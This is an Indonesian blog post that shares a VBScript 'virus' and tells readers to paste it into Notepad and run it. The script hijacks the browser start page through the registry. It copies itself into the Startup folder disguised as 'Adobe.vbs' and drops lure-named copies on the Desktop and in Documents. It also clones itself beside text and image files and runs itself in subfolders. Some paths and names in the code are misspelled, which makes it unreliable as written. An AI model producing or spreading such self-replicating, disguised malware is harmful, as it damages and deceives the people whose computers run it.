HOT !!!!!!!Script VIRUS VBS

Salam blogger.Kali ini gw bakalan sharing sebuah script virus yang lumayan lah buat laptop gw error.Tapi virus ini ga sampe menyebabkan data kita rusak.Daripada kebanyakan omong langsung saja scriptnya.
Pertama sudah pasti buka notepad dulu.Kemudian copas script berikut.

On error resume next
Dim wshShell,FSO, Induk, vPath,target,lokasi
Set wshShell=CreateObject("Wscript.Shell")
Set FSO=CreateObject("Scripting.FileSystemObject")
Set Induk=FSO.GetFile(Wscript.ScriptFullName)

WshShell.RegWrite"HKCU\Software\Microsot\Internet Explorer\Main\Start Page",www.tama-rpl.blogspot.com

Lokasi=WshShell.SpecialFolders("Startup")
Induk.copy(lokasi & "\Adobe.vbs")

Lokasi=WshShell.SpecialFolders("Dekstop")
Induk.copy(lokasi & "\Readme.vbs")
InfectFolder Lokasi

Lokasi=WshShell.SpecialFolders("My Document")
Induk.copy(lokasi & "\Hacker Terseksi Di Dunia.vbs")
InfectFolder Lokasi

Lokasi=WshShell.SpecialFolders("My Document")
Induk.copy(lokasi & "\Situs Hacker Terbaik.vbs")
InfectFolder Lokasi

vPath=Left(Induk, InStrRev(Induk, "\"))
For Each Target in FSO.GetFolder(vPath).Files
if Right(target,3)="txt" or Right (target,3)="jpg" then induk.copy (target & ".vbs")
Next

Sub InfectFolder(Alamat)
on error resume next
for each target in FSO.GetFolder(Alamat).subfolders
Induk.copy(target & "\Readme.vbs")
WshShell.Run(target &"\Readme.vbs")
Next
End Sub

Nah,kemudian save filenya dengan nama terserah kalian.Misalnya "Porn.vbs".Di sini yang penting ekstensinya harus *.vbs.
Terakhir klik file tersebut untuk melihat apa yang akan terjadi.Gw ga bertanggung jawab dari apa yang telah virus ini lakukan nantinya.Maka dari itu pelajarilah terlebih dahulu script VIRUS ini.Salam blogger.